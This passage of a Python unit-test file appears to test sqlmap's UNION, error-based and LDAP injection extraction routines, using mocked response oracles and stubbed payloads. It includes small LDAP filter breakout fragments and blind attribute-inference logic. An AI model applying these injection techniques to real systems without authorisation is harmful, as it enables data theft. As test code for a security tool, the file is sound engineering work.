kb[k] = v + + kb.counters = {} + conf.hashDB = None # disable session resume in these tests + # minimal injection context the function reads + entry = AttribDict() + entry.vector = _UNION_VECTOR + entry.where = PAYLOAD.WHERE.ORIGINAL + kb.injection.data = {PAYLOAD.TECHNIQUE.UNION: entry} + + # pass-through forge chain: the produced payload text is irrelevant - the mock + # oracle answers from the EXPRESSION recorded out-of-band, not from the payload + agent.forgeUnionQuery = lambda *a, **k: "UNION-FORGED" + agent.concatQuery = lambda expression, unpack=True: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: "PAYLOAD" + unescaper.escape = lambda expression, *a, **k: expression + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + Request.queryPage = self._sqp + uu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + restore_attrs(self._s_agent) + unescaper.escape = self._s_escape + + def _install_page(self, page): + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + +class TestOneShotUnionUse(_UnionCase): + def test_single_value_extracted(self): + page = "%s" % _wrap(kb.chars.start, "hello") + self._install_page(page) + self.assertEqual(uu._oneShotUnionUse("SELECT a"), _wrap(kb.chars.start, "hello")) + + def test_multi_column_delimited(self): + body = kb.chars.delimiter.join(("u", "p")) + page = "x %s y" % _wrap(kb.chars.start, body) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT u,p") + self.assertIn("u%sp" % kb.chars.delimiter, retVal) + + def test_no_markers_returns_none(self): + self._install_page("nothing useful here") + self.assertIsNone(uu._oneShotUnionUse("SELECT a")) + + def test_counter_incremented(self): + self._install_page(_wrap(kb.chars.start, "v")) + uu._oneShotUnionUse("SELECT a") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.UNION), 1) + + def test_last_char_trim_patched(self): + # the page carries chars.stop with its final char trimmed; the engine repairs it + trimmed = kb.chars.stop[:-1] + page = "%s%s%s" % (kb.chars.start, "data", trimmed) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT a") + self.assertEqual(retVal, _wrap(kb.chars.start, "data")) + + def test_upper_cased_results_lowered(self): + # force-uppercased response: function lower-cases the whole page before parsing + page = ("PREFIX %s" % _wrap(kb.chars.start, "value")).upper() + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT a") + self.assertEqual(retVal, _wrap(kb.chars.start, "value").lower()) + + def test_order_by_retry_without_clause(self): + # first try (with ORDER BY) yields nothing; the engine retries stripping ORDER BY. + # both expressions feed the same stubbed oracle, so we vary the page by call count. + state = {"calls": 0} + + def oracle(payload=None, content=False, raise404=False, **kwargs): + state["calls"] += 1 + page = "" if state["calls"] == 1 else _wrap(kb.chars.start, "recovered") + return (page, AttribDict(), 200) if content else page + + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + retVal = uu._oneShotUnionUse("SELECT a ORDER BY 1") + self.assertEqual(retVal, _wrap(kb.chars.start, "recovered")) + self.assertEqual(state["calls"], 2) + + def test_hashdb_resume_short_circuits(self): + # a cached value is returned without ever touching the oracle + import tempfile + from lib.utils.hashdb import HashDB + from lib.core.common import hashDBWrite + + fd, path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(path) + saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + try: + conf.hashDB = HashDB(path) + conf.hostname, conf.path, conf.port = "union.invalid", "/", 80 + hashDBWrite("%s%s" % (conf.hexConvert or False, "SELECT cached"), "CACHED-UNION") + conf.hashDB.flush() + + def boom(*a, **k): + raise AssertionError("oracle must not be called on a cache hit") + Request.queryPage = staticmethod(boom) + uu.Request.queryPage = staticmethod(boom) + + self.assertEqual(uu._oneShotUnionUse("SELECT cached"), "CACHED-UNION") + finally: + conf.hostname, conf.path, conf.port = saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(path): + os.remove(path) + + +class TestJsonAggExtraction(_UnionCase): + """kb.jsonAggMode path: the page carries a JSON array between the markers (MySQL branch).""" + + def setUp(self): + _UnionCase.setUp(self) + kb.jsonAggMode = True + + def test_json_array_rows_wrapped(self): + # MySQL non-MSSQL/PGSQL branch: json.loads(output) over a JSON-array body, each row + # re-wrapped in start/stop markers so parseUnionPage can later split it + import json + body = json.dumps(["alice", "bob"]) + page = "%s%s%s" % (kb.chars.start, body, kb.chars.stop) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT name FROM users", False) + self.assertIn("alice", retVal) + self.assertIn("bob", retVal) + self.assertEqual(retVal.count(kb.chars.start), 2) + + def test_truncated_aggregate_sets_flag(self): + # leading marker present but no trailing marker -> single-shot considered truncated + page = "%sincomplete-json-array-no-stop" % kb.chars.start + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT name FROM users", False) + self.assertIsNone(retVal) + self.assertTrue(kb.respTruncated) + + +class TestUnionUse(_UnionCase): + """unionUse() orchestration over the (stubbed) one-shot path. set_dbms forced to a DBMS + NOT in FROM_DUMMY_TABLE and a scalar (no FROM) expression so the partial/limit/json-agg + branches are skipped and it falls through to the single one-shot extraction + parse.""" + + def setUp(self): + _UnionCase.setUp(self) + set_dbms("MySQL") + # initTechnique() only does session/template bookkeeping (page template, match ratio, + # resumed conf) irrelevant to the extraction under test, and needs a full injection + # session to run; stub it so unionUse()'s orchestration + parse is what is exercised. + self._s_initTechnique = uu.initTechnique + uu.initTechnique = lambda technique=None: None + # unionUse() calls getConsoleWidth(); with no tty (test runner) it falls back to + # curses.initscr(), which flips the terminal to the alternate screen. Pin COLUMNS + # so that path is never taken and the runner output stays clean. + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + def tearDown(self): + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + uu.initTechnique = self._s_initTechnique + _UnionCase.tearDown(self) + + def test_scalar_value(self): + self._install_page(_wrap(kb.chars.start, "scalar-result")) + value = uu.unionUse("SELECT 1") + self.assertEqual(value, "scalar-result") + + def test_scalar_empty(self): + self._install_page("no markers") + value = uu.unionUse("SELECT 1") + self.assertIsNone(value) + + +# =========================================================================== +# UNION-based: lib/techniques/union/use.py (partial / LIMIT-loop branches) +# =========================================================================== + +# Distinct from the scalar _UNION_VECTOR / _UU_CONF / _UU_KB above: these drive the +# partial / LIMIT-loop path (NEGATIVE where, forcePartial on, jsonAgg disabled). +_UNION_VECTOR_LIMIT = (1, 2, None, "", "", "NULL", PAYLOAD.WHERE.NEGATIVE, False, False, None, None) + +_UU_CONF_LIMIT = {"hexConvert": False, "limitStart": 0, "limitStop": 0, "pageEncoding": None, + "forcePartial": True, "disableJson": True, "binaryFields": None, + "reportJson": False, "api": False, "threads": 1, "verbose": 0, "eta": False, + "noTruncate": True, "uFrom": None} +_UU_KB_LIMIT = {"jsonAggMode": False, "respTruncated": False, "unionDuplicates": False, + "forcePartialUnion": False, "tableFrom": None, "unionTemplate": None, + "nchar": False, "pageEncoding": None, "bruteMode": False, "partRun": None, + "suppressResumeInfo": False, "threadContinue": True} + + +class _UnionLimitCase(unittest.TestCase): + """Drive unionUse() down the partial / LIMIT-loop path (jsonAgg disabled, NEGATIVE where, + forcePartial on). The forge chain is a pass-through; concatQuery records the per-row + expression so the oracle can recover the LIMIT offset and answer from a known row set.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _UU_CONF_LIMIT} + self._sk = {k: kb.get(k) for k in _UU_KB_LIMIT} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._sbatch = conf.get("batch") + self._s_agent = save_attrs(agent, "forgeUnionQuery", "concatQuery", "payload", "_lastexpr") + self._s_escape = unescaper.escape + self._s_initTechnique = uu.initTechnique + + for k, v in _UU_CONF_LIMIT.items(): + conf[k] = v + for k, v in _UU_KB_LIMIT.items(): + kb[k] = v + + conf.batch = True + conf.hashDB = None + kb.counters = {} + + entry = AttribDict() + entry.vector = _UNION_VECTOR_LIMIT + entry.where = PAYLOAD.WHERE.NEGATIVE + kb.injection.data = {PAYLOAD.TECHNIQUE.UNION: entry} + + # record the expression seen by each _oneShotUnionUse so the oracle can branch on it + def rec_concat(expression, unpack=True): + agent._lastexpr = expression + return expression + agent.concatQuery = rec_concat + agent.forgeUnionQuery = lambda *a, **k: "UNION-FORGED" + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: "PAYLOAD" + unescaper.escape = lambda expression, *a, **k: expression + uu.initTechnique = lambda technique=None: None + + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.batch = self._sbatch + Request.queryPage = self._sqp + uu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + restore_attrs(self._s_agent) + unescaper.escape = self._s_escape + uu.initTechnique = self._s_initTechnique + + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + + def _install_row_oracle(self, rows, count=None): + """rows: list of tuples (per-row columns). Oracle answers COUNT and per-LIMIT rows + from the recorded expression (agent._lastexpr), wrapping in real start/stop markers.""" + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + total = count if count is not None else len(rows) + + def oracle(payload=None, content=False, raise404=False, **kwargs): + expr = getattr(agent, "_lastexpr", "") or "" + if "COUNT" in expr.upper(): + body = str(total) + else: + m = re.search(r"LIMIT (\d+),1", expr) + idx = int(m.group(1)) if m else 0 + row = rows[idx] if 0 <= idx < len(rows) else ("?",) + body = delim.join(row) + page = "%s%s%s" % (start, body, stop) + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + +class TestUnionPartialDump(_UnionLimitCase): + def test_multi_row_two_columns(self): + rows = [("1", "alice"), ("2", "bob"), ("3", "carol")] + self._install_row_oracle(rows) + value = uu.unionUse("SELECT id,name FROM users") + self.assertEqual(list(value), [["1", "alice"], ["2", "bob"], ["3", "carol"]]) + + def test_multi_row_single_column(self): + rows = [("alice",), ("bob",)] + self._install_row_oracle(rows) + value = uu.unionUse("SELECT name FROM users") + self.assertEqual([uu.unArrayizeValue(v) for v in value], ["alice", "bob"]) + + def test_query_count_matches_rows(self): + # one COUNT query + one query per row = 4 UNION requests for 3 rows + rows = [("1", "a"), ("2", "b"), ("3", "c")] + self._install_row_oracle(rows) + uu.unionUse("SELECT id,name FROM users") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.UNION), 1 + len(rows)) + + def test_count_returns_zero_empty(self): + # COUNT yields "0" -> empty-table sentinel (the function returns []), no row queries + self._install_row_oracle([], count=0) + value = uu.unionUse("SELECT id,name FROM users") + self.assertEqual(value, []) + + def test_single_row_count_one(self): + # COUNT yields "1": the multi-row thread loop is skipped, falls through to one one-shot + rows = [("solo",)] + self._install_row_oracle(rows, count=1) + value = uu.unionUse("SELECT name FROM users") + self.assertEqual(uu.unArrayizeValue(value), "solo") + + def test_length_limited_window(self): + # conf.limitStart/limitStop windowing (dump=True): only rows in [start, stop) survive. + # With limitStart=2, limitStop=4 over a 5-row table the engine COUNTs then walks + # offsets 1..3 -> rows index 1,2,3 -> "b","c","d". + conf.forcePartial = False + conf.limitStart = 2 + conf.limitStop = 4 + rows = [("a",), ("b",), ("c",), ("d",), ("e",)] + self._install_row_oracle(rows, count=5) + value = uu.unionUse("SELECT name FROM users", dump=True) + self.assertEqual([uu.unArrayizeValue(v) for v in value], ["b", "c", "d"]) + + +class TestOneShotUnionUseLimited(_UnionLimitCase): + """_oneShotUnionUse called directly with the `limited` flag set (the per-row caller's mode).""" + + def test_limited_single_row(self): + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + body = delim.join(("7", "zed")) + page = "%s%s%s" % (start, body, stop) + + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + retVal = uu._oneShotUnionUse("SELECT id,name FROM t LIMIT 0,1", unpack=True, limited=True) + self.assertEqual(retVal, page) + # one wrapped multi-column entry -> one row of two columns + self.assertEqual(list(uu.parseUnionPage(retVal)), [["7", "zed"]]) + + +# =========================================================================== +# ERROR-based: lib/techniques/error/use.py +# =========================================================================== + +# An error injection vector is consumed by agent.prefixQuery/suffixQuery (here stubbed +# to a pass-through that just yields the "[QUERY]" placeholder the engine substitutes into). +_ERR_VECTOR = ("pref", "suff", 2, "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + +_ERR_CONF = {"hexConvert": False, "noEscape": None, "verbose": 0, "api": False, + "reportJson": False, "limitStart": 0, "limitStop": 0, "noTruncate": True, + "threads": 1, "eta": False} +_ERR_KB = {"testMode": True, "safeCharEncode": False, "errorChunkLength": None, + "fileReadMode": False, "bruteMode": False, "threadContinue": True, + "suppressResumeInfo": False, "dumpTable": None} + + +class _ErrorCase(unittest.TestCase): + """Stub the forge/escape/transport seam so _oneShotErrorUse's OWN parsing (marker + extraction, trim repair, char restoration) is what is exercised.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _ERR_CONF} + self._sk = {k: kb.get(k) for k in _ERR_KB} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._stechnique = kb.get("technique") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._sbatch = conf.get("batch") + + self._s_agent = save_attrs(agent, "prefixQuery", "suffixQuery", "payload", "nullAndCastField") + self._s_escape = unescaper.escape + + # restore thread state we touch + td = getCurrentThreadData() + self._s_td_uid = td.lastRequestUID + self._s_td_httperr = td.lastHTTPError + self._s_td_redirect = td.lastRedirectMsg + + for k, v in _ERR_CONF.items(): + conf[k] = v + for k, v in _ERR_KB.items(): + kb[k] = v + + conf.batch = True + conf.hashDB = None # disable session resume in these tests + kb.counters = {} + kb.technique = PAYLOAD.TECHNIQUE.ERROR + setTechnique(PAYLOAD.TECHNIQUE.ERROR) + + entry = AttribDict() + entry.vector = _ERR_VECTOR + entry.where = PAYLOAD.WHERE.ORIGINAL + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: entry} + + # pass-through forge chain: the produced payload text carries the injExpression so + # the oracle can (optionally) branch on the requested field; agent.payload returns + # exactly the newValue it is handed. + agent.prefixQuery = lambda vector, *a, **k: "[QUERY]" + agent.suffixQuery = lambda query, *a, **k: query + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue + agent.nullAndCastField = lambda field: field + unescaper.escape = lambda expression, *a, **k: expression + + # getConsoleWidth() in _errorFields hits curses with no tty; pin COLUMNS so it doesn't + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.batch = self._sbatch + Request.queryPage = self._sqp + eu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.technique = self._stechnique + setTechnique(None) + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + + restore_attrs(self._s_agent) + unescaper.escape = self._s_escape + + td = getCurrentThreadData() + td.lastRequestUID = self._s_td_uid + td.lastHTTPError = self._s_td_httperr + td.lastRedirectMsg = self._s_td_redirect + + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + + @staticmethod + def _wrap(body): + return "%s%s%s" % (kb.chars.start, body, kb.chars.stop) + + def _install_page(self, page): + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, {}, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + def _install_field_oracle(self, mapping): + """Oracle that branches on which field name appears in the forged payload (the + injExpression is passed through agent.payload unchanged, so it is in `payload`).""" + def oracle(payload=None, content=False, raise404=False, **kwargs): + body = "?" + for field, value in mapping.items(): + if field in (payload or ""): + body = value + break + page = "%s" % self._wrap(body) + return (page, {}, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + +class TestOneShotErrorUse(_ErrorCase): + def test_single_value_extracted(self): + self._install_page("%s" % self._wrap("admin")) + self.assertEqual(eu._oneShotErrorUse("SELECT name"), "admin") + + def test_space_char_restored(self): + # the kb.chars.space placeholder (used to survive transport) is restored to a literal + # space by _errorReplaceChars. NOTE: the other char tokens (dollar/at/hash) are random + # per-run and may collide with the space token, so only space is asserted here. + body = "hello%sworld" % kb.chars.space + self._install_page(self._wrap(body)) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "hello world") + + def test_no_markers_returns_none(self): + self._install_page("no useful markers here") + self.assertIsNone(eu._oneShotErrorUse("SELECT x")) + + def test_html_entities_unescaped(self): + # retVal goes through htmlUnescape() and
        -> newline on the way out + self._install_page(self._wrap("a & b
        c")) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "a & b\nc") + + def test_counter_incremented(self): + self._install_page(self._wrap("v")) + eu._oneShotErrorUse("SELECT x") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.ERROR), 1) + + def test_field_substituted_into_expression(self): + # field is replaced (once) by nullAndCastField(field) before forging; the oracle keys + # on the field name in the resulting payload to prove the right column was requested + self._install_field_oracle({"surname": "Smith"}) + self.assertEqual(eu._oneShotErrorUse("SELECT surname FROM users", field="surname"), "Smith") + + def test_recovered_from_http_error_body(self): + # page itself carries no markers; the delimited value lives in the 500-error body + td = getCurrentThreadData() + td.lastRequestUID = 4242 + td.lastHTTPError = (4242, 500, "%s" % self._wrap("from-error-page")) + self._install_page("regular page, no markers") + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "from-error-page") + + def test_recovered_from_response_header(self): + # neither page nor error body has it; it is carried back in a response header value + body = self._wrap("hdr-value") + page = "nothing" + + def oracle(payload=None, content=False, raise404=False, **kwargs): + headers = {"X-Leak": body} + return (page, headers, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "hdr-value") + + def test_hex_convert_decoded(self): + # --hex: the delimited body is a hex string decoded by decodeDbmsHexValue + conf.hexConvert = True + self._install_page(self._wrap("48656C6C6F")) # "Hello" + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "Hello") + + def test_empty_value_between_markers(self): + self._install_page(self._wrap("")) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "") + + +class TestOneShotErrorUseChunking(_ErrorCase): + """The MySQL multi-chunk reassembly loop: with kb.errorChunkLength set, output >= chunk + length triggers another request at the next offset; the engine concatenates the pieces.""" + + def setUp(self): + _ErrorCase.setUp(self) + kb.testMode = False # honor the chunk-offset loop + kb.errorChunkLength = 4 # pre-set so the length-probe search is skipped + conf.verbose = 0 + + def test_multi_chunk_reassembled(self): + # secret returned 4 chars at a time via SUBSTRING(expr, offset, 4); the loop walks offsets + secret = "abcdefghij" + + def oracle(payload=None, content=False, raise404=False, **kwargs): + # MySQL substring is rendered as MID((field),offset,length) + m = re.search(r"(?:MID|SUBSTRING)\(.*?,(\d+),(\d+)\)", payload or "") + if m: + off, length = int(m.group(1)), int(m.group(2)) + chunk = secret[off - 1:off - 1 + length] + else: + chunk = secret + return ("%s%s%s" % (kb.chars.start, chunk, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + # a field is required for the SUBSTRING windowing branch to engage + self.assertEqual(eu._oneShotErrorUse("SELECT data FROM t", field="data"), secret) + + +class TestErrorFields(_ErrorCase): + """_errorFields iterates the field list, recovering one value per column.""" + + def test_multi_field_values(self): + self._install_field_oracle({"user": "alice", "pass": "s3cr3t"}) + values = eu._errorFields("SELECT user,pass FROM t", "user,pass", + ["user", "pass"], suppressOutput=True) + self.assertEqual(values, ["alice", "s3cr3t"]) + + def test_single_field_value(self): + self._install_field_oracle({"email": "root@localhost"}) + values = eu._errorFields("SELECT email FROM t", "email", ["email"], suppressOutput=True) + self.assertEqual(values, ["root@localhost"]) + + def test_empty_field_yields_null(self): + # a field listed in emptyFields is short-circuited to the NULL sentinel (no oracle hit) + from lib.core.settings import NULL + + def boom(*a, **k): + raise AssertionError("oracle must not be called for an empty field") + Request.queryPage = staticmethod(boom) + eu.Request.queryPage = staticmethod(boom) + values = eu._errorFields("SELECT col FROM t", "col", ["col"], + emptyFields=["col"], suppressOutput=True) + self.assertEqual(values, [NULL]) + + def test_rownum_field_skipped(self): + # a "ROWNUM " field is skipped entirely (Oracle limit artifact) + self._install_field_oracle({"name": "bob"}) + values = eu._errorFields("SELECT name FROM t", "name", + ["ROWNUM x", "name"], suppressOutput=True) + self.assertEqual(values, ["bob"]) + + +class TestErrorUse(_ErrorCase): + """errorUse() orchestration. initTechnique() needs a full injection session; stub it so + the orchestration + _errorFields extraction + result shaping is what is exercised.""" + + def setUp(self): + _ErrorCase.setUp(self) + self._s_initTechnique = eu.initTechnique + eu.initTechnique = lambda technique=None: None + + def tearDown(self): + eu.initTechnique = self._s_initTechnique + _ErrorCase.tearDown(self) + + def test_scalar_value(self): + # scalar expression (no FROM): single one-shot extraction, unwrapped from the list + self._install_page(self._wrap("5.7.40")) + self.assertEqual(eu.errorUse("SELECT VERSION()"), "5.7.40") + + def test_scalar_no_output_none(self): + self._install_page("no markers") + self.assertIsNone(eu.errorUse("SELECT VERSION()")) + + def test_multi_row_dump(self): + # dump=True over a FROM-table query: errorUse COUNTs the rows then LIMIT-walks them, + # reconstructing each row's single column value in order + conf.limitStart = 1 + conf.limitStop = 3 + rows = {0: "alice", 1: "bob", 2: "carol"} + + def oracle(payload=None, content=False, raise404=False, **kwargs): + nv = payload or "" + if "COUNT" in nv.upper(): + body = "3" + else: + m = re.search(r"LIMIT (\d+),1", nv) + idx = int(m.group(1)) if m else 0 + body = rows.get(idx, "?") + return ("%s%s%s" % (kb.chars.start, body, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + value = eu.errorUse("SELECT name FROM users", dump=True) + self.assertEqual([eu.unArrayizeValue(v) for v in value], ["alice", "bob", "carol"]) + + def test_dump_zero_count_returns_empty(self): + # COUNT yields "0" (non-positive) -> the query returned no output -> None + conf.limitStart = 1 + conf.limitStop = 10 + + def oracle(payload=None, content=False, raise404=False, **kwargs): + nv = payload or "" + body = "0" if "COUNT" in nv.upper() else "x" + return ("%s%s%s" % (kb.chars.start, body, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + # a "0" count is truthy-but-not-positive -> empty-table sentinel (returns []) + self.assertEqual(eu.errorUse("SELECT name FROM users", dump=True), []) + + +# =========================================================================== +# LDAP: lib/techniques/ldap/inject.py +# =========================================================================== + +class TestLdapPureHelpers(unittest.TestCase): + def test_ratio(self): + self.assertEqual(ldap._ratio("abc", "abc"), 1.0) + self.assertLess(ldap._ratio("hello", "zzzzz"), 0.5) + self.assertEqual(ldap._ratio(None, None), 1.0) + + def test_ldap_literal_escapes_metachars(self): + self.assertEqual(ldap._ldapLiteral("a*b(c)"), "a\\2ab\\28c\\29") + + def test_ldap_literal_backslash(self): + self.assertEqual(ldap._ldapLiteral("a\\b"), "a\\5cb") + + def test_transport_encode(self): + self.assertEqual(ldap._transportEncode("a b&c=d"), "a%20b%26c%3Dd") + + def test_is_password_param(self): + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("userPwd")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam(None)) + + def test_is_error(self): + self.assertTrue(ldap._isError("LdapErr: DSID-0123ABCD")) + self.assertTrue(ldap._isError("Invalid DN syntax (34)")) + self.assertFalse(ldap._isError("everything is fine")) + + def test_backend_from_error(self): + self.assertEqual(ldap._backendFromError("LdapErr: DSID-0AB12345 problem"), + "Microsoft Active Directory") + # a generic LDAP error that matches the umbrella regex but no specific signature + self.assertEqual(ldap._backendFromError("Invalid DN syntax (34)"), "OpenLDAP") + self.assertIsNone(ldap._backendFromError("no error at all")) + + def test_fingerprint_by_error(self): + self.assertEqual(ldap._fingerprintByError("Microsoft Active Directory"), + "Microsoft Active Directory") + self.assertEqual(ldap._fingerprintByError("OpenLDAP"), "OpenLDAP") + self.assertEqual(ldap._fingerprintByError("ApacheDS"), "ApacheDS") + self.assertEqual(ldap._fingerprintByError("389 Directory Server"), + "389 Directory Server") + self.assertIsNone(ldap._fingerprintByError(None)) + + def test_grid_renders_table(self): + grid = ldap._grid(["a", "bb"], [["1", "2"], ["33", "4"]]) + self.assertIn("| a | bb |", grid) + self.assertIn("| 33 | 4 |", grid) + # header + 2 rows + 4 separators (top, under-header, ... actually 3 borders + n rows) + self.assertEqual(grid.count("+----+----+"), 3) + + def test_charset_includes_metachars_escaped(self): + # filter metacharacters ARE extractable - _ldapLiteral() escapes them, so a value containing + # '*'/'('/')'/'\\' is recovered in full rather than truncated at the first one + for meta in ("*", "(", ")", "\\"): + self.assertIn(ord(meta), ldap._CHARSET) + self.assertIn(ord("a"), ldap._CHARSET) + self.assertIn(ord("0"), ldap._CHARSET) + # common characters are still tried before the (rare) metacharacters + self.assertLess(ldap._CHARSET.index(ord("a")), ldap._CHARSET.index(ord("*"))) + # the escaping the extractor relies on + self.assertEqual(ldap._ldapLiteral("abc*def"), "abc\\2adef") + self.assertIn("\\28", ldap._ldapLiteral("x(y)")) + + def test_probe_builder_shapes(self): + b = ldap._ProbeBuilder("*)") + self.assertTrue(b.presence("uid").endswith("(uid=*")) + self.assertIn("(cn=adm*", b.prefix("cn", "adm")) + # compound probe closes its own (&...) and opens a suffix-eater + compound = b.presence("uid", constraint=("ou", "people")) + self.assertIn("(ou=people)", compound) + self.assertIn("(objectClass=", compound) + + def test_probe_builder_default_breakout(self): + b = ldap._ProbeBuilder(None) + self.assertEqual(b.breakout, ")") + + +class _LdapOracleCase(unittest.TestCase): + """Drive the real boolean oracle + blind inference against an in-process directory. + The _send seam is replaced by a function that simulates an LDAP-to-application filter + match: a payload's trailing assertion '(attr=value*' matches when the directory holds + `attr` whose value starts with `value`.""" + + DIRECTORY = {"objectClass": "top", "uid": "admin", "mail": "bob", "cn": "Administrator"} + + def setUp(self): + self._sparams = conf.get("parameters") + self._spdict = conf.get("paramDict") + self._scookiedel = conf.get("cookieDel") + self._ssend = ldap._send + + conf.parameters = {PLACE.GET: "user=admin"} + conf.paramDict = {PLACE.GET: {"user": "admin"}} + conf.cookieDel = None + # the boolean tests exercise the content-similarity path; null any explicit user oracle that + # an earlier test module may have left set (the engines now honor --string/--regexp globally) + conf.string = conf.notString = conf.regexp = conf.code = None + + directory = self.DIRECTORY + + def fake_send(place, parameter, value): + assertions = re.findall(r"\((\w+)=([^()]*)", value) + if not assertions: + return "FALSE-PAGE-baseline-content" + attr, pat = assertions[-1] + pat = pat.rstrip("*") + if attr in directory and directory[attr].startswith(pat): + return "TRUE-CONTENT-stable-match-%s" % attr + return "FALSE-PAGE-baseline-content" + + ldap._send = fake_send + + def tearDown(self): + conf.parameters = self._sparams + conf.paramDict = self._spdict + conf.cookieDel = self._scookiedel + ldap._send = self._ssend + + +class TestLdapParamSegment(_LdapOracleCase): + def test_original_value(self): + self.assertEqual(ldap._originalValue(PLACE.GET, "user"), "admin") + + def test_original_value_from_paramdict_fallback(self): + self.assertEqual(ldap._originalValue(PLACE.GET, "missing"), "") + + def test_replace_segment(self): + self.assertEqual(ldap._replaceSegment(PLACE.GET, "user", "XYZ"), "user=XYZ") + + +class TestLdapOracle(_LdapOracleCase): + def _oracle(self): + # _makeOracle now recalibrates its own true/false models on the winning breakout + SENTINEL + # base (matched (objectClass=*) vs (objectClass=)); pass the breakout, not a template + return ldap._makeOracle(PLACE.GET, "user", ")") + + def test_exists_true(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertTrue(ldap._exists(oracle, builder, "uid")) + + def test_exists_false(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertFalse(ldap._exists(oracle, builder, "nonexistent")) + + def test_infer_attribute_uid(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertEqual(ldap._inferAttribute(oracle, builder, "uid"), "admin") + + def test_infer_attribute_mail(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertEqual(ldap._inferAttribute(oracle, builder, "mail"), "bob") + + def test_infer_attribute_missing_none(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertIsNone(ldap._inferAttribute(oracle, builder, "zzz")) + + def test_enumerate_entry_keys(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + keyAttr, values, partial = ldap._enumerateEntryKeys(oracle, builder) + self.assertEqual(keyAttr, "uid") + self.assertEqual(values, ["admin"]) + self.assertFalse(partial) # clean end, not an inconclusive abort + + +class TestLdapBoolean(_LdapOracleCase): + def test_boolean_divergent_returns_true_page(self): + page = ldap._boolean(lambda: "TRUE-STABLE-CONTENT-HERE", + lambda: "FALSE-DIFFERENT-PAGE-XX") + self.assertEqual(page, "TRUE-STABLE-CONTENT-HERE") + + def test_boolean_identical_returns_none(self): + self.assertIsNone(ldap._boolean(lambda: "SAME-PAGE", lambda: "SAME-PAGE")) + + def 